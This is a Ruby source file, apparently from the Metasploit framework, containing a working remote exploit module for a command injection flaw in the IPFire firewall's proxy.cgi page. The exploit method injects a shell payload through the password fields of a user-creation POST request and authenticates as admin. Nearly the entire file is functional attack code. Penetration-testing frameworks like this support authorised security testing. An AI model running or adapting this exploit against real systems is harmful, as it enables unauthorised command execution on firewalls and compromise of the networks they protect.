120 lines
4.0 KiB
Ruby
120 lines
4.0 KiB
Ruby
##
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## This module requires Metasploit: http://metasploit.com/download
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## Current source: https://github.com/rapid7/metasploit-framework
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###
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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Rank = ExcellentRanking
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'IPFire proxy.cgi RCE',
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'Description' => %q(
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IPFire, a free linux based open source firewall distribution,
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version < 2.19 Update Core 101 contains a remote command execution
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vulnerability in the proxy.cgi page.
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),
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'Author' =>
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[
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'h00die <mike@stcyrsecurity.com>', # module
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'Yann CAM' # discovery
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],
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'References' =>
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[
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[ 'EDB', '39765' ],
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[ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
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],
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Privileged' => false,
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'DefaultOptions' => { 'SSL' => true },
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'Arch' => [ ARCH_CMD ],
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'Payload' =>
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{
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'perl awk openssl'
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}
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},
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'Targets' =>
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[
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[ 'Automatic Target', {}]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'May 04 2016'
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)
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)
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register_options(
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[
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OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
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OptString.new('PASSWORD', [ false, 'Password to login with', '']),
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Opt::RPORT(444)
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], self.class
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)
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end
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def check
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begin
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res = send_request_cgi(
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'uri' => '/cgi-bin/pakfire.cgi',
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'method' => 'GET'
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)
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fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
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fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
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/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
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if version && update && version == "2.19" && update.to_i < 101
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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end
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end
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def exploit
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begin
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# To manually view the vuln page, click to proxy.cgi. At the bottom
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# select Local, and save. Ignore the error box, at the bottom of
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# the page click the button: User Management.
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payload_formatted = "||#{payload.encoded};#"
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post_data = "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
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post_data << "&NCSA_GROUP=standard"
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post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
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post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
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post_data << "&SUBMIT=Create+user"
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post_data << "&ACTION=Add"
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post_data << "&NCSA_MIN_PASS_LEN=6"
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res = send_request_cgi(
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'uri' => '/cgi-bin/proxy.cgi',
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'method' => 'POST',
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'ctype' => 'application/x-www-form-urlencoded',
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'headers' =>
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{
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'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
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},
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'data' => post_data
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)
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# success means we hang our session, and wont get back a response
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if res
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fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
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fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
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end
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end
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end
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